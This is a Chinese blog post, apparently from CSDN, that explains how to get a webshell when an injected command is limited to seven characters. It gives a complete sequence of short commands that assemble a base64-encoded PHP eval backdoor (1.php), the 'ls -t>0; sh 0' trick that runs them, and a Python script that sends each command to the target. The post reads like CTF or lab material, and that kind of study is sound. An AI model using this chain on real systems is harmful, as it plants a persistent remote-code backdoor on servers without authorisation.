可控字符串长度受限情况下GetShell

可控字符串长度受限情况下GetShell

环境:命令执行只允许输入七个字符,尝试写入webshell

思路分析

  通过创建特殊的文件名(含有php代码),创建完后使用ls命令:ls>0 (把当前目录下所有的文件名写入到文件0中)。
  shell命令太长,受长度限制,可以使用 “\” 来分割,实现换行输入,最后写入到一个新的文件,然后执行:sh 0。文件0 执行后产生 1.php 就是写入的php马。
在这里插入图片描述
注:要考虑写入的先后顺序问题,使用ls可以加上-t参数来排序(最新创建的在最前面)默认按照数字在前,字母顺序排列 ;webshell最好采用base64编码,避免一些特殊字符转义问题。

利用案例

  # 加两个反斜杠是为了转义后面那个反斜杠
   w>hp
   w>1.p\\
   w>d\>\\
   w>\ -\\
   w>e64\\
   w>bas\\
   w>7\|\\
   w>XSk\\
   w>Fsx\\
   w>dFV\\
   w>kX0\\
   w>bCg\\
   w>XZh\\
   w>AgZ\\
   w>waH\\
   w>PD9\\
   w>o\ \\
   w>ech\\
   ls -t>0    # 按照时间排序,最后创建的在最前面
   sh 0

在这里插入图片描述

# 文件0 中的内容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
# 执行:sh 0,即可生成 1.php

EXP

  由于命令较多,手工测试较为麻烦,直接写个脚本

import requests
url1 = "http://IP/index.php?shell="
with open("command.txt", "r") as f:
    for i in f:
        url = url1 + i.strip()
        requests.get(url)
        # print "已经请求%S" % url
    res = requests.get("http://IP/1.php")
if res.status_code:
    print 'ok'    
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值